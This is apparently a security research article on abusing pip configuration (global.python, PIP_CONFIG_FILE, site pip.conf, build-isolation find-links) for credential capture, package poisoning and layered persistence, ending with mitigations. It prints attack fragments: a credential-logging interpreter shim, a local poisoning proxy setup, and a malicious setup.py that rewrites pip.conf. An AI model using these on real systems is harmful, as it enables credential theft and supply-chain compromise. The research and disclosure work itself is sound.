Pip Dreams and Security Schemes, Part II: The Interpreter in the Machine

By Matt Landers

A follow-up to “Pip Dreams and Security Schemes: Chaos in your Configuration Files”. pip runs in CI/CD pipelines with access to private registries, cloud credentials, and build systems that produce artifacts shipped to customers. The assumption behind most Python supply-chain security work is that the tooling is neutral — that a bad package does the damage and pip is just the delivery mechanism. That assumption is worth revisiting.

In the original article we explored how pip’s configuration hierarchy — global, user, site, and environment — could be abused to redirect package installs and establish persistence. That research led to pypigeon, a rogue PyPI server that intercepts pip requests and injects payloads into any package a victim asks for.

This article focuses on a single configuration key that has existed in pip for over three years with no public security coverage. We will also show how to replicate pypigeon’s core trick — serving any requested package with an injected payload — without running a remote server at all. Everything runs locally, on the victim’s machine, triggered by a single malicious package install. All findings were verified against pip 24.x.

The key nobody checked: global.python

pip 22.3 shipped in October 2022 with a useful new flag, --python. It lets you target a different Python environment without activating it first. The only documentation we could find at the time of writing was a single topic page.

pip --python /path/to/venv install requests

Like most pip flags, this can be set in pip.conf under the [global] section so you don’t have to type it every time:

pip.conf

[global]
python = /path/to/any/executable

Here is where it gets interesting. When this key is present, pip re-executes itself through the specified binary on every invocation — pip install, pip list, pip download, python -m pip, all of it. The implementation in pip/_internal/cli/main_parser.py does exactly one validation before handing off:

Python

def identify_python_interpreter(python: str) -> Optional[str]:
    if os.path.exists(python):
        if os.path.isdir(python):
            ...
        return python  # any file that exists is accepted

That’s it. No check that the file is actually a Python interpreter. No check that it can run pip. A shell script, a compiled binary, a Python script that logs your environment and re-execs the real Python — all accepted without complaint. The full original command, including any credentials passed as flags, lands in the hijacked binary’s sys.argv:

argv

/home/user/.pip/.helper /path/to/__pip-runner__.py install requests \
  --index-url https://private.pypi.internal/simple \
  --username build_bot \
  --password gh_pat_SUPERSECRET1234

This fires before pip does anything. Before it reads netrc, before the keyring provider runs, before it makes any network connection. Credentials passed on the command line are captured at the process level before pip’s own code even starts. And you don’t even need to touch pip.conf: PIP_PYTHON is the environment-variable equivalent, following the standard PIP_*-to-config mapping — so a single injected environment variable is enough.

Shell

export PIP_PYTHON=/home/user/.pip/.helper
pip install requests   # routes through our binary

A single global.python entry turns every pip invocation into a credential-capture rail that fires before any network call.

The only validation is that the file exists. A shell script qualifies — and so does anything else you point it at.

Pypigeon without a server

Once every pip command routes through our binary, the simplest move is to log everything and re-exec the real Python transparently:

Python

def main():
    args = sys.argv[1:]
    log("INTERCEPTED: {}".format(args))
    for i, a in enumerate(args):
        if a in ("--password", "--username", "--index-url", "--extra-index-url"):
            log("  CRED {} = {}".format(a, args[i + 1]))
    os.execv(find_real_python(args), [find_real_python(args)] + args)

But we wanted to replicate what pypigeon does — supplying any requested package with an injected payload — without the overhead of running a remote server. The original approach requires hosting infrastructure. Here is the same capability with nothing but the victim’s machine. When the interceptor sees a pip install command, it starts a minimal HTTP server on a random localhost port and redirects pip to it before re-executing:

Python

port = start_proxy()
os.environ["PIP_INDEX_URL"]    = "http://127.0.0.1:{}/simple/".format(port)
os.environ["PIP_TRUSTED_HOST"] = "127.0.0.1"
os.execv(real_python, [real_python] + args)

The proxy behaves exactly like a PyPI index. When pip requests /simple/flask/, the proxy fetches the real page from pypi.org, rewrites the download URLs to point back at localhost, and strips the #sha256= hash fragments so pip won’t reject the modified wheels. When pip downloads a wheel, the proxy fetches the real wheel, injects a .pth beacon file, and serves the result. From pip’s perspective it is talking to a normal index server — the wheel it receives is the real package with the real version number, just with our .pth alongside it.

The local proxy impersonates PyPI on 127.0.0.1. No persistent service, no firewall rule, no domain to host.

Terminal

$ pip install flask
  Downloading http://127.0.0.1:39475/.../flask-3.1.3-py3-none-any.whl (103 kB)
  Downloading http://127.0.0.1:39475/.../werkzeug-3.1.8-py3-none-any.whl (226 kB)
  ...
  Successfully installed blinker-1.9.0 click-8.4.0 flask-3.1.3 ...
$ pip list
Flask     3.1.3
Werkzeug  3.1.8
...

Every package in the dependency tree is poisoned — not just flask, but click, werkzeug, jinja2, and all transitive deps. pip list shows the real version numbers. There is nothing visually unusual unless the developer is watching for 127.0.0.1 in verbose output. The proxy runs as a background subprocess and does not die when pip exits; it lingers on a localhost port until killed. The beacon .pth files persist in site-packages and fire on every Python startup, exactly as pypigeon’s injections would.

PIP_CONFIG_FILE: silencing the developer’s own settings

When PIP_CONFIG_FILE is set to an existing file, pip silently skips the user’s ~/.config/pip/pip.conf. The relevant check in configuration.py:

Python

should_load_user_config = not self.isolated and not (
    env_config_file and os.path.exists(env_config_file)
)

A developer can have a carefully hardened pip.conf — pinning an internal index, requiring hashes, disabling pre-releases — and all of it disappears if an attacker can inject one environment variable into their CI pipeline. No error is shown; the settings are simply not loaded. If the injected config sets global.python to a harvester script, every credential the pipeline passes to pip ends up logged before any network call is made. This makes CI configuration files an interesting target: in GitHub Actions, .env files, docker-compose.yml environment blocks, and Makefile export directives can all set PIP_CONFIG_FILE.

CAUTION: pip’s --isolated flag is documented as ignoring environment variables and configuration. It does not suppress PIP_CONFIG_FILE. The variable is read directly from os.environ before the isolated check applies, so a PIP_CONFIG_FILE pointing at an attacker-controlled config will still load and global.python will still fire — even under --isolated. A developer who reaches for that flag as a mitigation is not protected.

Where in pip.conf the key can live

The obvious question: does python = work in a section other than [global] — say [install] — to dodge an obvious-entry scan? It doesn’t, but there is something useful in the wrong direction. pip’s main parser is constructed with name="global"; its config resolution order becomes ["global", "global", ":env:"], so it only reads from [global] and environment variables. Command-specific sections are handled by per-subcommand parsers that run after the re-invocation check. Putting python = in [install] doesn’t trigger re-invocation; pip reads the key, then base_command.py raises a hard error:

ERROR: The --python option must be placed before the pip subcommand name

The same applies to [user] and [site] as section names. There is no config-section trick that avoids needing [global]. What does work is changing which file the [global] section lives in. pip loads configuration from three levels: system-wide (typically /etc/pip.conf), user (~/.config/pip/pip.conf and the legacy ~/.pip/pip.conf), and site ({sys.prefix}/pip.conf). The site-level path resolves to the root of the active virtualenv — and that file is writable by any code running during install, including setup.py:

setup.py

import sys, pathlib, configparser
conf = pathlib.Path(sys.prefix) / "pip.conf"
cfg = configparser.RawConfigParser()
if conf.exists():
    cfg.read(str(conf))
if not cfg.has_section("global"):
    cfg.add_section("global")
cfg.set("global", "python",     str(pathlib.Path.home() / ".pip/.helper"))
cfg.set("global", "find-links", str(pathlib.Path.home() / ".pip/.cache"))
with open(conf, "w") as f:
    cfg.write(f)

From that point, every pip command run in the venv routes through the helper — including any remediation attempt. A developer who activates the venv and runs pip config unset global.python is running that command through the interceptor, giving the attacker visibility into the cleanup and the chance to manipulate the outcome. Remediation has to happen from outside the venv. Worse, pip config list --verbose from outside the venv reports /usr/pip.conf as the site config — not {venv}/pip.conf — so the infected file never shows up in any cross-environment audit that doesn’t activate the specific venv.

Build isolation: clean source, infected wheel

PEP 517 build isolation is supposed to prevent a package’s build process from affecting the rest of the environment. It creates a fresh temporary site directory, installs build dependencies there, and runs the build. The intention is good. The gap is that build_env.py creates the build subprocess with a copy of the full parent environment. PIP_FIND_LINKS is inherited verbatim, along with find-links set in pip.conf. If the find-links directory contains a setuptools-9999.0.0.whl, that becomes the build backend for every package built on the machine. The target package can be completely clean:

clean-target/
├── pyproject.toml          # requires = ["setuptools>=40"]
└── src/clean_target/__init__.py

Build it with a malicious setuptools in find-links, and the output wheel contains a .pth file that was never in the source:

clean_target-1.2.0-py3-none-any.whl
├── _beacon_clean_target.pth   <-- not in source
├── _beacon_clean_target.py    <-- not in source
├── clean_target/__init__.py
└── clean_target-1.2.0.dist-info/

A clean repository produces an infected artifact. git diff shows nothing; the build log shows success.

The package works correctly. git diff on the source repo shows nothing. The CI log shows a normal successful build. The infection exists only in the produced artifact. When a downstream consumer installs this wheel, the beacon fires on every Python startup in their environment — and if that consumer publishes packages, their builds become the next delivery mechanism. The reach extends further: if a poisoned wheel is installed into a Docker base image during a build, the .pth beacon is baked into that image layer. Every image that FROMs the base inherits it, and every container triggers the beacon on Python startup, before application code runs.

pip’s security-team response

We disclosed the build-isolation bypass to pip’s security team. Their determination was that it does not constitute a vulnerability. The reasoning: PEP 517’s guidance on isolated environments is non-normative — a build frontend should, by default, create an isolated environment containing only the standard library and explicitly requested build-dependencies. pip’s position is that build-time requirements carry the same trust level as install-time requirements; the trust boundary is the user who invokes pip, not the build environment itself. They also raised a practical point: users in air-gapped environments depend on PIP_FIND_LINKS reaching PEP 517 builds, and removing that behaviour would be a breaking change. That argument holds when the find-links entry is something the user sets. It does not hold when find-links was written to pip.conf by a package the user installed three weeks ago. pip’s response treats configuration as a static artifact; the attack chain treats it as writable state.

pip has confirmed this behaviour is by design. That confirmation is worth more to this research than a patch would be — it means the attack surface is not going away.

Three-layer persistence

The techniques above work well, but they share a weakness from the attacker’s perspective: a defender who finds and removes one thing can break the chain. We wanted to understand the worst case. The answer is three independent mechanisms that together form a resilient persistence loop. Layers 2 and 3 are active reinstatement engines — each checks whether the others are present and restores them if not. Layer 1 is the entry point and the credential-capture rail; its persistence is maintained by the other two.

Layer 1 pip.conf

The global.python + find-links combination above. Most immediately detectable (pip config list shows it), but it is the entry point that enables the other two layers.

Cleared by pip config unset global.python or manual edit.

Layer 2 usercustomize.py

A documented but rarely-discussed startup hook: if usercustomize.py exists in user site-packages, Python imports it on every startup — before any user code, before pip starts. Because python3 -m pip is itself a Python process, it runs inside every pip invocation. It has no dist-info entry, so pip list, pip audit, pip show and pip check have no mechanism to surface it, and it survives pip install --upgrade pip intact. Its job: check whether pip.conf was cleaned and reinstate it if so. (MITRE ATT&CK added T1546.018 for Python startup hooks in May 2025; what that doesn’t cover is the pip-specific consequence.)

Cleared by rm ~/.local/lib/pythonX.Y/site-packages/usercustomize.py. Not cleared by any pip command.

Layer 3 Infected pip binary

pip’s self-update check uses the same PackageFinder as regular installs, which includes find-links. Drop a pip-9999.0.0-py3-none-any.whl in the cache and pip suggests the upgrade after every install. When the developer or CI runs it, they install our version — built from real pip source with one function modified to run a payload before handing off. Once installed it needs no external references: no global.python, no .helper file. The payload is inside pip itself.

Cleared by pip install pip==24.0. The only indicator is pip list showing 9999.0.0.

A defender who deletes pip.conf triggers usercustomize.py to restore it on the next python3 call. A defender who pins pip to 24.0 fixes Layer 3 but leaves Layers 1 and 2 running. Full remediation requires finding all three independently — and none of them are surfaced by standard pip tooling.

Detection gaps

Mitigations

A few practical steps that address the specific surfaces described here.

For global.python

Monitor pip.conf for the python = key — it has no legitimate use in most environments. Making pip.conf read-only (chmod 444) after initial configuration prevents a malicious setup.py from writing it.

For the site-level pip.conf

After any package install, check whether {sys.prefix}/pip.conf was created or modified, and run pip config list --verbose from inside the active venv:

ls -la "$(python3 -c 'import sys; print(sys.prefix)')/pip.conf" 2>/dev/null

For the build-isolation bypass

Pin your build backend explicitly. Instead of requires = ["setuptools>=40"], use requires = ["setuptools==68.2.2"] with a hash in a lockfile. This removes the version-resolution step where a malicious local package can win.

For PIP_CONFIG_FILE

Audit every place in your CI pipelines where environment variables are loaded from files checked into the repo. A repo-controlled .env or docker-compose.yml that sets PIP_CONFIG_FILE is a credential capture waiting to happen.

For the infected pip binary

Pin pip itself in CI. pip install "pip==24.0" --require-hashes -c constraints.txt prevents the self-update mechanism from installing from find-links.

For usercustomize.py

python3 -c "import usercustomize; print(usercustomize.__file__)"

Run it periodically. If the file exists and you didn’t put it there, something else did.

Putting it together

The original research showed that pip’s configuration system could be turned against the developer. This follow-up shows the attack surface has grown alongside pip’s feature set. global.python is the key finding: a three-year-old configuration option that re-executes every pip command through any binary you specify, validated only by a file-exists check, and documented as a security concern nowhere. Combined with a local proxy that injects payloads into every requested package — the full dependency tree, at real version numbers — it replicates pypigeon’s core capability with no remote infrastructure.

The Hydra persistence model demonstrates that supply-chain attacks don’t have to be fragile. Three independent layers with two active reinstatement engines mean no single defensive action is sufficient. And because the infection can live in build artifacts rather than source code, standard controls like code review and static analysis don’t see it. Securing pip where developers or CI pipelines have meaningful privileges is genuinely difficult — the configuration system is deep, the attack surface is under-documented, and the tooling defenders typically reach for doesn’t cover the most interesting gaps. Understanding where those gaps are is the first step toward closing them.